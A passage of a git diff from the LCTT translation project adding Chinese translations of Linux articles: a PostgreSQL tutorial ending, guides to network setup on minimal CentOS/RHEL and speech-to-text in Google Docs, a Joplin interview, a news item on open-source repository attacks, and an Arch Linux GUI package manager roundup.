--owner bogus +$ psql --user bogus landcoverdb +landcoverdb=> create table land_cover( +country_code varchar(6), +country_name varchar(76), +small_subnational_region_code varchar(5), +small_subnational_region_name varchar(14), +large_subnational_region_code varchar(17), +large_subnational_region_name varchar(44), +measure_code varchar(13), +measure_name varchar(29), +land_cover_class_code varchar(17), +land_cover_class_name varchar(19), +year_code integer, +year_value integer, +unit_code varchar(3), +unit_name varchar(17), +power_code integer, +power_name varchar(9), +reference_period_code varchar(1), +reference_period_name varchar(1), +value float(8), +flag_codes varchar(1), +flag_names varchar(1)); +``` + +#### 引入数据 + +Postgres 可以使用特殊的元命令 `\copy` 来直接引入 CSV 数据: + +``` +landcoverdb=> \copy land_cover from '~/land-cover.csv' with csv header delimiter ',' +COPY 22113 +``` + +插入了 22113 条记录。这是一个很好的开始! + +#### 查询数据 + +用 `SELECT` 语句可以查询这 22113 条记录的所有列,此外 PostgreSQL 将输出通过管道传输到屏幕上,因此你可以轻松地滚动鼠标来查看输出的结果。更进一步,你可以使用高级 SQL 语句,来获得一些有用的视图。 + +``` +landcoverdb=> SELECT +    lcm.country_name, +    lcm.year_value, +    SUM(lcm.value) sum_value +FROM land_cover lcm +JOIN ( +    SELECT +        country_name, +        large_subnational_region_name, +        small_subnational_region_name, +        MAX(year_value) max_year_value +    FROM land_cover +    GROUP BY country_name, +        large_subnational_region_name, +        small_subnational_region_name +) AS lcmyv +ON +    lcm.country_name = lcmyv.country_name AND +    lcm.large_subnational_region_name = lcmyv.large_subnational_region_name AND +    lcm.small_subnational_region_name = lcmyv.small_subnational_region_name AND +    lcm.year_value = lcmyv.max_year_value +GROUP BY lcm.country_name, +    lcm.large_subnational_region_name, +    lcm.small_subnational_region_name, +    lcm.year_value +ORDER BY country_name, +    year_value; +``` + +下面是样例的一些输出: + +``` +---------------+------------+------------ + Afghanistan    |       2019 |  743.48425 + Albania        |       2019 |  128.82532 + Algeria        |       2019 |  2417.3281 + American Samoa |       2019 |   100.2007 + Andorra        |       2019 |  100.45613 + Angola         |       2019 |  1354.2192 + Anguilla       |       2019 | 100.078514 + Antarctica     |       2019 |  12561.907 +[...] +``` + +SQL 是一种很丰富的语言,超出了本文的讨论范围。通读 SQL 的内容,看看你是否可以对上面的查询语句进行修改,以提供不同的数据集。 + +### 拓展数据库 + +PostgreSQL 是伟大的开源数据库之一。有了它,你可以为结构化数据设计存储库,然后使用 SQL 以不同的方式查询它,以便能够获得有关该数据的新视角。PostgreSQL 也能与许多语言集成,包括 Python、Lua、Groovy、Java 等,因此无论你使用什么工具集,你都可以充分利用好这个出色的数据库。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/drop-your-database-for-postgresql + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png +[2]: https://creativecommons.org/licenses/by/3.0/us/ +[3]: https://www.redhat.com/en/topics/edge-computing/what-is-edge-computing?intcmp=7013a000002qLH8AAM +[4]: https://github.com/arcapos/luapgsql +[5]: https://www.postgresql.org/download/ +[6]: https://opensource.com/article/21/4/sysadmins-love-systemd +[7]: https://www.postgresql.org/docs/current/datatype-numeric.html#DATATYPE-SERIAL +[8]: https://stats.oecd.org/Index.aspx?DataSetCode=LAND_COVER diff --git a/published/202210/20220926 How to Setup Internet in CentOS, RHEL, Rocky Linux Minimal Install.md b/published/202210/20220926 How to Setup Internet in CentOS, RHEL, Rocky Linux Minimal Install.md new file mode 100644 index 0000000000..2e9ef8aafe --- /dev/null +++ b/published/202210/20220926 How to Setup Internet in CentOS, RHEL, Rocky Linux Minimal Install.md @@ -0,0 +1,127 @@ +[#]: subject: "How to Setup Internet in CentOS, RHEL, Rocky Linux Minimal Install" +[#]: via: "https://www.debugpoint.com/setup-internet-minimal-install-server/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15126-1.html" + +如何在最小安装的 CentOS、RHEL、Rocky Linux 中设置互联网 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/10/162428grhkhtayzt4cdh5k.jpg) + +> 在最小安装的服务器中设置互联网或网络非常容易。本指南将解释如何在最小安装的 CentOS、RHEL 和 Rocky Linux 中设置互联网或网络。 + +当你安装了任何服务器发行版的最小安装环境,你将没有任何 GUI 或桌面环境来设置你的网络或互联网。因此,当你只能访问终端时,了解如何设置互联网非常重要。NetworkManager 工具提供了必要的工具,辅以 systemd 服务来完成这项工作。以下是方法。 + +### 在最小安装的 CentOS、RHEL、Rocky Linux 中设置互联网 + +在你完成了服务器的安装后,启动进入服务器终端。理想情况下,你会看到一个终端提示符。使用 root 或管理员账户登录。 + +首先,尝试使用 [nmcli][1] 检查网络接口的状态和详细信息。`nmcli` 是用于控制 NetworkManager 服务的命令行工具。使用以下命令进行检查。 + +``` +nmcli device status +``` + +这将显示设备名称、状态等。 + +![nmcli device status][2] + +运行工具 `nmtui` 来配置网络接口。 + +`nmtui` 是 NetworkManager 工具的一部分,它为你提供了一个友好的用户界面来配置网络。 + +这是 `NetworkManager-tui` 包的一部分,在你完成最小服务器安装后默认安装。 + +``` +nmtui +``` + +单击 nmtui 窗口中的“编辑连接Edit a connection”。 + +![nmtui - 选择选项][3] + +选择接口名称 + +![选择要编辑的接口][4] + +在“编辑连接Edit Connection”窗口中,为 IPv4 和 IPv6 选择“自动Automatic”选项。并选择“自动连接Automatically Connect”。完成后按 “OK”。 + +![nmtui - 编辑连接][5] + +使用以下命令通过 [systemd systemctl][6] 重启 NetworkManager 服务。 + +``` +systemctl restart NetworkManager +``` + +如果一切顺利,你可以在最小安装的 CentOS、RHEL 和 Rocky Linux 服务器中连接到网络和互联网。前提是你的网络有互联网连接。你可以使用 `ping` 来验证它是否正常工作。 + +![设置最小化服务器互联网 - CentOS Rocky Linux RHEL][7] + +### 附加技巧:在最小化服务器中设置静态 IP + +当你将网络配置设置为自动时,接口会在你连接到互联网时动态分配 IP。在你设置局域网的某些情况下,你可能希望将静态 IP 分配给你的网络接口。这非常容易。 + +打开你的网络配置脚本。将 `ens3` 改为为你自己的设备名。 + +``` +vi /etc/sysconfig/network-scripts/ifcfg-ens3 +``` + +在上面的文件中,使用 `IPADDR` 属性添加所需的 IP 地址。保存文件。 + +``` +IPADDR=192.168.0.55 +``` + +在 `/etc/sysconfig/network` 中为你的网络添加网关。 + +``` +NETWORKING=yes +HOSTNAME=debugpoint +GATEWAY=10.1.1.1 +``` + +在 `/etc/resolv.conf` 中添加任意公共 DNS 服务器。 + +``` +nameserver 8.8.8.8 +nameserver 8.8.4.4 +``` + +然后重启网络服务。 + +``` +systemctl restart NetworkManager +``` + +这就完成了静态 IP 的设置。你还可以使用 `ip addr` 命令检查 IP 详细信息。 + +### 总结 + +我希望本指南可以帮助你在最小化安装的服务器中设置网络、互联网和静态 IP。如果你有任何问题,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/setup-internet-minimal-install-server/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://linux.die.net/man/1/nmcli +[2]: https://www.debugpoint.com/wp-content/uploads/2021/06/nmcli-device-status.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2021/06/nmtui-Select-options.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2021/06/Select-Interface-to-Edit.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2021/06/nmtui-Edit-Connection.jpg +[6]: https://www.debugpoint.com/2020/12/systemd-systemctl-service/ +[7]: https://www.debugpoint.com/wp-content/uploads/2021/06/setup-internet-minimal-server-CentOS-Rocky-Linux-RHEL.jpg \ No newline at end of file diff --git a/published/202210/20220926 Speech Recognition to Text in Linux, Ubuntu using Google Docs.md b/published/202210/20220926 Speech Recognition to Text in Linux, Ubuntu using Google Docs.md new file mode 100644 index 0000000000..25e05ba8d2 --- /dev/null +++ b/published/202210/20220926 Speech Recognition to Text in Linux, Ubuntu using Google Docs.md @@ -0,0 +1,102 @@ +[#]: subject: "Speech Recognition to Text in Linux, Ubuntu using Google Docs" +[#]: via: "https://www.debugpoint.com/speech-recognition-to-text-in-linux-ubuntu-using-google-docs/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15105-1.html" + +使用谷歌文档在 Ubuntu 中对文本进行语音识别 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/04/222403dhey2zwn1442u3n1.jpg) + +> 这就是在包括 Ubuntu 在内的 Linux 系统中将语音转换为文本的方法。 + +Linux 系统中可用的语音识别软件不多,尤其是原生桌面应用。有一些可用的应用使用 IBM Watson 和其他 API 将语音转换为文本,但它们的用户交互不友好,需要一些复杂的用户交互,例如用相应的语言进行一些编程或脚本编写。 + +但是,没有多少用户知道 谷歌文档Google Docs 使用自己的 AI 技术提供了高级语音识别,它可以通过 Chrome 访问谷歌文档使用。 + +任何用户都可以使用此功能将语音转换为文本,而无需高级计算机知识。谷歌文档的这个功能最好的一点是你可以在任何 Ubuntu 衍生版或任何支持 Chrome 的 Linux 发行版中使用它。 + +让我们看看如何在 Ubuntu 中启用它。 + +### 如何将语音转换为文本 + +先决条件是你应该在系统中安装 Chrome 并拥有谷歌帐户。如果你没有安装 Chrome,你可以访问 [此链接][1] 并下载、安装 Chrome。 + +此外,如果你没有谷歌帐户,你可以使用 [此链接][2] 免费创建一个。 + +#### 步骤 1 + +从 Chrome 打开 [https://docs.google.com][3] 并创建一个空白文档。 + +![创建一个空文档][4] + +#### 步骤 2 + +加载空白文档后,从菜单中单击“工具 > 语音输入”。 + +![启用语音输入][5] + +#### 步骤 3 + +在左侧,你可以看到一个麦克风图标。单击麦克风图标,Chrome 会首次要求允许通过浏览器访问麦克风。单击允许。 + +![点击麦克风][6] + +![允许文档访问麦克风][7] + +默认情况下,它使用你的系统语言作为语音的检测语言,同时将其转换为文本;但是,你可以根据可用的语言列表将其更改为所需的任何语言。到目前为止,谷歌文档支持和识别超过 60 多种语言,同时将它们转换为文本。 + +#### 步骤 4 + +单击允许后,麦克风图标将变为橙色,现在它已准备好接受或识别你的声音。开始说任何你想说的话,瞧!你将看到你的演讲被转换为文本并写入文档。 + +![正在进行语音转文字][8] + +完成了。你已通过谷歌 Chrome 和谷歌文档在 Ubuntu 中成功地将语音转换为文本。 + +所有 Linux 用户都可以免费使用这个很棒的功能。如果你知道其他可以在 Linux 中将语音转换为文本的应用,请在下方的评论区发表评论。另外,让我知道你是否觉得这篇文章有用。 + +### 故障排除 + +如果上述功能在你的浏览器中不起作用,请务必查看以下内容。 + +* 打开设置窗口(在 Ubuntu 或其他发行版的 GNOME 桌面中)。 +* 转到“隐私 > 麦克风”。 +* 并确保它已启用。 + +![检查 Ubuntu 中的麦克风设置][9] + +### 总结 + +虽然,最近有一种基于云的解决方案可用,例如 Amazon Polly 等。但它们的价格很高。另外还需要一些有用的知识。 + +而谷歌 Chrome 的内置语音识别功能简单易用。虽然它有点慢,但它可以为普通用户完成工作。 + +也就是说,我希望本指南可以帮助你将语音转换为文本,如果你知道这样的免费应用,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/speech-recognition-to-text-in-linux-ubuntu-using-google-docs/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.google.com/chrome +[2]: https://accounts.google.com +[3]: https://docs.google.com +[4]: https://www.debugpoint.com/wp-content/uploads/2018/07/Create-an-empty-doc.png +[5]: https://www.debugpoint.com/wp-content/uploads/2018/07/Enable-Voice-Typing.png +[6]: https://www.debugpoint.com/wp-content/uploads/2018/07/Click-the-mic.png +[7]: https://www.debugpoint.com/wp-content/uploads/2018/07/Allow-Docs-to-access-Mic.png +[8]: https://www.debugpoint.com/wp-content/uploads/2018/07/Voice-to-Text-In-action.png +[9]: https://www.debugpoint.com/wp-content/uploads/2018/07/Check-Microphone-settings-in-Ubuntu.jpg diff --git a/published/202210/20220926 The story behind Joplin, the open source note-taking app.md b/published/202210/20220926 The story behind Joplin, the open source note-taking app.md new file mode 100644 index 0000000000..ac3c6e5bf3 --- /dev/null +++ b/published/202210/20220926 The story behind Joplin, the open source note-taking app.md @@ -0,0 +1,141 @@ +[#]: subject: "The story behind Joplin, the open source note-taking app" +[#]: via: "https://opensource.com/article/22/9/joplin-interview" +[#]: author: "Richard Chambers https://opensource.com/users/20i" +[#]: collector: "lkxed" +[#]: translator: "MareDevi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15161-1.html" + +开源笔记软件 Joplin 背后的故事 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/21/112935tfapsvpac06h2sth.jpg) + +> Laurent Cozic 与我坐下来,讨论了 Joplin 是如何开始的,以及这个开源笔记软件的下一步计划。 + +在这次采访中,我见到了笔记软件 Joplin 的创建者 Laurent Cozic。[Joplin][2] 是 [20i][3] 奖励的赢家,所以我想了解是什么让它如此成功,以及他如何实现的。 + +### 你能概述一下什么是 Joplin 吗? + +[Joplin][4] 是一个开源的笔记软件。它可以让你捕获你的想法并从任何设备安全地访问它们。 + +### 显然,还有很多其他的笔记应用,那么除了免费使用之外,它还有什么不同呢? + +对我们的许多用户来说,它是开源的这一事实是一个非常重要的方面,因为这意味着没有供应商对数据的封锁,而且数据可以很容易地被导出并以各种方式访问。 + +我们还关注用户的安全和数据隐私,特别是端到端加密同步功能,以及通过对应用的任何连接保持透明。我们还与安全研究人员合作,以保证软件更加安全。 + +最后,Joplin 可以通过几种不同的方式进行定制 —— 通过插件(可以添加新的功能)和主题来定制应用程序的外观。我们还公开了一个数据 API,它允许第三方应用程序访问 Joplin 的数据。 + +> **[相关阅读:5 款 Linux 上的笔记应用][5]** + +### 这是一个竞争非常激烈的市场,那么是什么激发了你创建它的想法? + +这是有原因的的。我从 2016 年开始研究它,因为我不喜欢现有的商业记事应用程序:笔记、附件或标签不能轻易被其他工具导出或操作。 + +这主要是由于供应商的封锁,另外还有供应商缺乏动力,因为他们没有动力帮助用户将他们的数据转移到其他应用程序。还有一个问题是,这些公司通常会以纯文本形式保存笔记,而这有可能造成数据隐私和安全方面的问题。 + +因此,我决定开始创建一个简单且具有同步功能的移动和终端应用程序,使我的笔记能够轻松地在我的设备上访问。之后又创建了桌面应用程序,项目从此开始发展。 + +![Chrome OS 上 Joplin 的图片][6] + +### 编写 Joplin 花了多长时间呢? + +自 2016 年以来,我一直在断断续续地开发,但并不是专门去维护。不过在过去的两年里,我更加专注于它。 + +### 对于准备创建自己的开源应用的人,你有什么建议? + +挑选一个你自己使用的项目和你喜欢的技术来工作。 + +管理一个开源项目有时是很困难的,所以必须要有足够的兴趣去让它变得更有价值。那么我想 “早发布,多发布” 原则在这里也适用,这样你就可以衡量用户的兴趣,以及是否有必要花时间进一步开发这个项目。 + +### 有多少人参与了 Joplin 的开发? + +有 3、4 人参与开发。目前,我们还有 6 名学生在 谷歌编程之夏Google Summer of Code 中为这个项目工作。 + +### 许多人都在创建开源项目,但 Joplin 对你来说是一个巨大的成功。关于如何获得关注,你能否给开发者提供一些建议? + +没有简单的公式,说实话,我不认为我可以在另一个项目中复制这种成功!你必须对你所做的事情充满热情,但同时也要严谨、有组织、稳步前进,确保代码质量保持高水平,并拥有大量的测试单元以防止回归。 + +同时,对于你收到的用户反馈保持开放的态度,并在此基础上改进项目。 + +一旦你掌握了这些,剩下的可能就全靠运气了 —— 如果你做的项目让很多人都感兴趣,事情可能会顺利进行! + +### 一旦你得到关注,但如果你没有传统的营销预算,你如何保持这种势头? + +我认为这在于倾听项目周围的社区。举个例子来说,我从未计划过建立一个论坛,但有人在 GitHub 上提出了这个建议,所以我创建了一个论坛,它成为了一个分享想法、讨论功能、提供支持等很好的方式。社区也普遍欢迎新人,这形成了一种良性循环。 + +除此以外,定期就项目进行沟通也很重要。 + +我们没有一个公开的路线图,因为大多数功能的 ETA 通常是 “我不知道”,但我会试图就即将到来的功能、新版本等进行沟通。我们也会就重要的事件进行沟通,特别是谷歌编程之夏,或者当我们有机会赢得像 20i FOSS 奖的时候。 + +最后,我们很快将在伦敦举行一次面对面的聚会,这是与社区和合作者保持联系的另一种方式。 + +### 用户的反馈是如何影响路线图的? + +很明显,贡献者们经常仅仅因为他们需要某个特性而从事某些工作。但除此之外,我们还根据论坛和 GitHub 问题追踪器上的信息,追踪对用户来说似乎最重要的功能。 + +例如,移动应用程序现在具有很高的优先级,因为我们经常从用户那里听到,它的限制和缺陷是有效使用 Joplin 的一个问题。 + +![桌面使用Joplin的图片][8] + +### 你是如何跟上最新的开发和编码的发展的? + +主要是通过阅读 Hacker News! + +### 你有个人最喜欢的自由/开源软件可以推荐吗? + +在不太知名的项目中,[SpeedCrunch][9] 作为一个计算器非常好。它有很多功能,而且很好的是它能保留以前所有计算的历史。 + +我还使用 [KeepassXC][10] 作为密码管理器。在过去的几年里,它一直在稳步改进。 + +最后,[Visual Studio Code][11] 作为一个跨平台的文本编辑器非常棒。 + +### 我原以为 Joplin 是以 Janis 的名字命名的,但维基百科告诉我来自是 Scoot Joplin。你为什么选择这个名字? + +我起初想把它命名为 “jot-it”,但我想这个名字已经被人占了。 + +由于我那时经常听 Scoot Joplin 的 拉格泰姆ragtime音乐(我相当痴迷于此),我决定使用他的名字。 + +我认为产品名称的含义并不太重要,只要名称本身易于书写、发音、记忆,并与一些积极的东西(或至少没有消极的东西)有关。 + +我觉得 “Joplin” 符合所有条件。 + +### 关于 Joplin 的计划,你还有什么可以说的吗?也许是对一个新功能的独家预告? + +如前所述,我们非常希望在用户体验设计和新功能方面对移动应用进行改进。 + +我们也在考虑创建一个 “插件商店”,以便更容易地浏览和安装插件。 + +感谢 Laurent — 祝 Joplin 的未来好运。 + +*图片来自: (Opensource.com, CC BY-SA 4.0)* + +*[这篇访谈最初发表在 20i 博客上,已获得许可进行转载。][12]* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/joplin-interview + +作者:[Richard Chambers][a] +选题:[lkxed][b] +译者:[MareDevi](https://github.com/MareDevi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/20i +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/wfh_work_home_laptop_work.png +[2]: https://joplinapp.org/ +[3]: https://www.20i.com/foss-awards/winners +[4]: https://opensource.com/article/19/1/productivity-tool-joplin +[5]: https://opensource.com/article/22/8/note-taking-apps-linux +[6]: https://opensource.com/sites/default/files/2022-09/joplin-chrome-os.png +[7]: https://opensource.com/article/21/10/google-summer-code +[8]: https://opensource.com/sites/default/files/2022-09/joplin-desktop.png +[9]: https://heldercorreia.bitbucket.io/speedcrunch/ +[10]: https://opensource.com/article/18/12/keepassx-security-best-practices +[11]: https://opensource.com/article/20/6/open-source-alternatives-vs-code +[12]: https://www.20i.com/blog/joplin-creator-laurent-cozic/ diff --git a/published/202210/20220927 Attacks On Open Source Software Are On The Rise.md b/published/202210/20220927 Attacks On Open Source Software Are On The Rise.md new file mode 100644 index 0000000000..0a5ba78c29 --- /dev/null +++ b/published/202210/20220927 Attacks On Open Source Software Are On The Rise.md @@ -0,0 +1,39 @@ +[#]: subject: "Attacks On Open Source Software Are On The Rise" +[#]: via: "https://www.opensourceforu.com/2022/09/attacks-on-open-source-software-are-on-the-rise/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "vvvbbbcz" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15095-1.html" + +对开源软件的攻击呈上升趋势 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/02/112659l5iaoi9ij0bji5ji.jpg) + +> 对开源仓库的攻击越来越频繁了。 + +根据近日的研究,由于越来越多的企业使用开源代码仓库来开发他们的软件及解决方案,网络犯罪分子正在借此获利。根据软件供应链管理服务提供商 Sonatype 最近所做的研究,在最近三年里,受感染的软件包、以及对这些软件平台的仿冒攻击typosquatting assaults和类似的黑客攻击的频率大幅增加。 + +该企业在过去三年中发现了大约 95000 个有害软件包,以及超过 55000 个最近才使用他们的存储库防火墙公布出来的危险软件包。届时,这个数字在三年内平均增长了 700%。 + +该企业称,他们的存储库防火墙将通过融合行为分析和自动策略执行的方式,不断发现并阻止有害软件包及潜在的易受攻击的组件。此外,它还使用了人工智能对每个新发布的开源软件进行评估,看它是否会带来一些安全风险。而且该企业断言,由于开源代码的迅速增加,人工分析已变得几乎不可能。 + +然而,这与企业是否在它的最终产品中包含受感染的恶意组件无关。该公司声称,如果那些恶意组件已经被下载到他们的端点上,就已经太晚了。 + +“恶意网络攻击的数量、频率、严重性和复杂性还在增长。但企业不能,也不应该仅为保护自身而避免使用开源代码。” Fox 补充说:“但他们可以使用预防性的工具,例如 Sonatype 防火墙来保证开发人员的工作进度和软件供应链的安全。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/attacks-on-open-source-software-are-on-the-rise/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[自由的铁矿](https://github.com/vvvbbbcz) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202210/20220927 GUI Apps for Package Management in Arch Linux.md b/published/202210/20220927 GUI Apps for Package Management in Arch Linux.md new file mode 100644 index 0000000000..6c226d7d88 --- /dev/null +++ b/published/202210/20220927 GUI Apps for Package Management in Arch Linux.md @@ -0,0 +1,206 @@ +[#]: subject: "GUI Apps for Package Management in Arch Linux" +[#]: via: "https://itsfoss.com/arch-linux-gui-package-managers/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15149-1.html" + +Arch Linux 中用于包管理的图形化应用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/17/110440isl629s0uqnl8b29.jpg) + +[安装 Arch Linux][1] 有一些挑战性。这就是为什么 [有几个基于 Arch 的发行版][2] 通过提供图形化的安装程序使事情变得简单。 + +即使你设法安装了 Arch Linux,你也会注意到它严重依赖命令行。如果你需要安装应用或更新系统,那么必须打开终端。 + +是的!Arch Linux 没有软件中心。我知道,这让很多人感到震惊。 + +如果你对使用命令行管理应用感到不舒服,你可以安装一个 GUI 工具。这有助于在舒适的图形化界面中搜索包以及安装和删除它们。 + +想知道你应该使用 [pacman 命令][3] 的哪个图形前端?我有一些建议可以帮助你。 + +**请注意,某些软件管理器是特定于桌面环境的。** + +### 1、Apper + +![使用 Apper 安装 Firefox][4] + +Apper 是一个精简的 Qt5 应用,它使用 PackageKit 进行包管理,它还支持 AppStream 和自动更新。但是,**没有 AUR 支持**。 + +要从官方仓库安装它,请使用以下命令: + +``` +sudo pacman -Syu apper +``` + +> **[GitLab 上的 Apper][5]** + +### 2、深度应用商店 + +![使用深度应用商店安装 Firefox][6] + +深度应用商店是使用 DTK(QT5)构建的深度桌面环境的应用商店,它使用 PackageKit 进行包管理,支持 AppStream,同时提供系统更新通知。 **没有 AUR 支持**。 + +要安装它,请使用以下命令: + +``` +sudo pacman -Syu deepin-store +``` + +> **[Github 上的深度商店][7]** + +### 3、KDE 发现应用 + +![使用 Discover 安装 Firefox][8] + +发现Discover 应用不需要为 KDE Plasma 用户介绍。它是一个使用 PackageKit 的基于 Qt 的应用管理器,支持 AppStream、Flatpak 和固件更新。 + +要在发现应用中安装 Flatpak 和固件更新,需要分别安装 `flatpak` 和 `fwupd` 包。**它没有 AUR 支持。** + +``` +sudo pacman -Syu discover packagekit-qt5 +``` + +> **[GitLab 上的 Discover][9]** + +### 4、GNOME PackageKit + +![Installing Firefox using GNOME PackageKit][10] + +GNOME PackageKit 是一个使用 PackageKit 技术的 GTK3 包管理器,支持 AppStream。不幸的是,**没有 AUR 支持**。 + +要从官方仓库安装它,请使用以下命令: + +``` +sudo pacman -Syu gnome-packagekit +``` + +> **[freedesktop 上的 PackageKit][11]** + +### 5、GNOME 软件应用 + +![Installing Firefox using GNOME Software][12] + +GNOME 软件Software 应用不需要向 GNOME 桌面用户介绍。它是使用 PackageKit 技术的 GTK4 应用管理器,支持 AppStream、Flatpak 和固件更新。 + +**它没有 AUR 支持。** 要安装来自 GNOME 软件应用的 Flatpak 和固件更新,需要分别安装 `flatpak` 和 `fwupd` 包。 + +安装它使用: + +``` +sudo pacman -Syu gnome-software-packagekit-plugin gnome-software +``` + +> **[GitLab 上的 GNOME 软件][13]** + +### 6、tkPacman + +![使用 tkPacman 安装 Firefox][14] + +它是用 Tcl 编写的 Tk pacman 封装。界面类似于 [Synaptic 包管理器][15]。 + +由于没有 GTK/Qt 依赖,它非常轻量级,因为它使用 Tcl/Tk GUI 工具包。 + +**它不支持 AUR**,这很讽刺,因为你需要从 [AUR][16] 安装它。你需要事先安装一个 [AUR 助手][17],如 yay。 + +``` +yay -Syu tkpacman +``` + +> **[Sourceforge 上的 tkPacman][18]** + +### 7、Octopi + +![使用 Octopi 安装 Firefox][19] + +可以认为它是 tkPacman 的更好看的表亲。它使用 Qt5 和 Alpm,还支持 Appstream 和 **AUR(通过 yay)**。 + +你还可以获得桌面通知、仓库编辑器和缓存清理器。它的界面类似于 Synaptic 包管理器。 + +要从 AUR 安装它,请使用以下命令。 + +``` +yay -Syu octopi +``` + +> **[GitHub 上的 Octopi][20]** + +### 8、Pamac + +![使用 Pamac 安装 Firefox][21] + +Pamac 是 Manjaro Linux 的图形包管理器。它基于 GTK3 和 Alpm,**支持 AUR、Appstream、Flatpak 和 Snap**。 + +Pamac 还支持自动下载更新和降级软件包。 + +它是 Arch Linux 衍生版中使用最广泛的应用。但因为 [DDoS AUR 网页][22] 而臭名昭著。 + +[在 Arch Linux 上安装 Pamac][23] 有几种方法。最简单的方法是使用 AUR 助手。 + +``` +yay -Syu pamac-aur +``` + +> **[GitLab 上的 Pamac][24]** + +### 总结 + +要删除任何上面图形化包管理器以及依赖项和配置文件,请使用以下命令将 `packagename` 替换为要删除的包的名称。 + +``` +sudo pacman -Rns packagename +``` + +这样看来,Arch Linux 也可以在不接触终端的情况下使用合适的工具。 + +还有一些其他应用程序也使用终端用户界面(TUI)。一些例子是 [pcurses][25]、[cylon][26]、[pacseek][27] 和 [yup][28]。但是,这篇文章只讨论那些有适当的 GUI 的软件。 + +**注意:** PackageKit 默认打开系统权限,因而 [不推荐][29] 用于一般用途。因为如果用户属于 `wheel` 组,更新或安装任何软件都不需要密码。 + +**你看到了在 Arch Linux 上使用图形化软件中心的几种选择。现在是时候决定使用其中一个了。你会选择哪一个?Pamac 或 OctoPi 还是其他?现在就在下面留言吧**。 + +--- + +via: https://itsfoss.com/arch-linux-gui-package-managers/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/install-arch-linux/ +[2]: https://itsfoss.com/arch-based-linux-distros/ +[3]: https://itsfoss.com/pacman-command/ +[4]: https://itsfoss.com/wp-content/uploads/2022/09/apper-arch-install-firefox.png +[5]: https://invent.kde.org/system/apper +[6]: https://itsfoss.com/wp-content/uploads/2022/09/dde-arch-install-firefox.png +[7]: https://github.com/dekzi/dde-store +[8]: https://itsfoss.com/wp-content/uploads/2022/09/discover-arch-install-firefox.png +[9]: https://invent.kde.org/plasma/discover +[10]: https://itsfoss.com/wp-content/uploads/2022/09/gnome-packagekit-arch-install-firefox.png +[11]: https://freedesktop.org/software/PackageKit/index.html +[12]: https://itsfoss.com/wp-content/uploads/2022/09/gnome-software-arch-install-firefox.png +[13]: https://gitlab.gnome.org/GNOME/gnome-software +[14]: https://itsfoss.com/wp-content/uploads/2022/09/tkpacman-arch-install-firefox.png +[15]: https://itsfoss.com/synaptic-package-manager/ +[16]: https://itsfoss.com/aur-arch-linux/ +[17]: https://itsfoss.com/best-aur-helpers/ +[18]: https://sourceforge.net/projects/tkpacman +[19]: https://itsfoss.com/wp-content/uploads/2022/09/octopi-arch-install-firefox.png +[20]: https://github.com/aarnt/octopi +[21]: https://itsfoss.com/wp-content/uploads/2022/09/pamac-arch-install-firefox.png +[22]: 